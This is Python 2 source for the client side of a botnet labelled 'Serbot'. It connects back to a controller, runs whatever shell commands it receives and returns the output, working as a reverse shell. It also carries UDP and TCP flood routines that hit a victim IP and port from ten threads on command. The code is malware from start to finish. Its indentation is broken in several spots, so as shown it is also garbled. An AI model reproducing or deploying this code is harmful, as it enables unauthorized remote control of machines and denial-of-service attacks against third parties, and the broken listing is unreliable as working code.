Serbot - Client - 2

#!/usr/bin/env python2
#v2

import subprocess, os, sys, time, threading
from socket import *

if (len(sys.argv) == 3):
    host = sys.argv[1]
    port = int(sys.argv[2])
else:
    sys.exit("Usage: client.py <server ip> <server port>")

class udpFlood(threading.Thread):
    def __init__ (self, victimip, victimport):
        threading.Thread.__init__(self)
        self.victimip = victimip
    self.victimport = victimport

    def run(self):
    timeout = time.time() + 60
        while True:
        test = 0
            if (time.time() <= timeout):
            s = socket(AF_INET, SOCK_DGRAM)
            s.connect((self.victimip, int(self.victimport)))
            s.send('A' * 65000)
        else:
            break

class tcpFlood(threading.Thread):
    def __init__ (self, victimip, victimport):
        threading.Thread.__init__(self)
        self.victimip = victimip
    self.victimport = victimport

    def run(self):
    timeout = time.time() + 60
        while True:
        test = 0
            if (time.time() <= timeout):
            s = socket(AF_INET, SOCK_STREAM)
            s.settimeout(1)
            s.connect((self.victimip, int(self.victimport)))
            s.send('A' * 65000)
        else:
            break

def udpUnleach(victimip, victimport):
    threads = []
    for i in range(1, 11):
            thread = udpFlood(victimip, victimport)
            thread.start()
        threads.append(thread)

    for thread in threads:
            thread.join()

def tcpUnleach(victimip, victimport):
    threads = []
    for i in range(1, 11):
            thread = tcpFlood(victimip, victimport)
            thread.start()
        threads.append(thread)

    for thread in threads:
            thread.join()

def main():
    while 1:
        s=socket(AF_INET, SOCK_STREAM)
        while 1:
            try:
                s.connect((host,port))
                print "[INFO] Connected"
                break;
            except:
                time.sleep(5)

        while 1:
            try:
                msg=s.recv(10240)
                if ((msg != "exit") and ("cd " not in msg) and ("udpflood " not in msg) and ("tcpflood " not in msg) and (msg != "hellows123") and ("udpfloodall " not in msg) and ("tcpfloodall " not in msg)):
                    comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    STDOUT, STDERR = comm.communicate()
                    en_STDERR = bytearray(STDERR)
                    en_STDOUT = bytearray(STDOUT)
                    if (en_STDERR == ""):
                        if (en_STDOUT != ""):
                            print en_STDOUT
                            s.send(en_STDOUT)
                        else:
                            s.send("[CLIENT] Command Executed")
                    else:
                        print en_STDERR
                        s.send(en_STDERR)
                elif ("cd " in msg):
                    msg = msg.replace("cd ","")
                    os.chdir(msg)
                    s.send(os.getcwd())
                    print "[INFO] Changed dir to %s" % os.getcwd()
                elif ("udpflood " in msg):
                    msg = msg.replace("udpflood ", "")
                    seperator = msg.index(":")
                    try:
                        udpUnleach(msg[:seperator],msg[seperator+1:])
                    except:
                        pass
                elif ("udpfloodall " in msg):
                    msg = msg.replace("udpfloodall ", "")
                    seperator = msg.index(":")
                    try:
                        udpUnleach(msg[:seperator],msg[seperator+1:])
                    except:
                        pass
                elif ("tcpflood " in msg):
                    msg = msg.replace("tcpflood ", "")
                    seperator = msg.index(":")
                    try:
                        tcpUnleach(msg[:seperator],msg[seperator+1:])
                    except:
                        pass
                elif ("tcpfloodall " in msg):
                    msg = msg.replace("tcpfloodall ", "")
                    seperator = msg.index(":")
                    try:
                        tcpUnleach(msg[:seperator],msg[seperator+1:])
                    except:
                        pass
                elif (msg == "hellows123"):
                    s.send(os.getcwd())
                else:
                    print "[INFO] Connection Closed"
                    s.close()
                    break
            except KeyboardInterrupt:
                print "[INFO] Connection Closed"
                s.close()
                break
            except:
                print "[INFO] Connection Closed"
                s.close()
                break

while 1:
    try:
        main()
    except:
        pass

    time.sleep(5)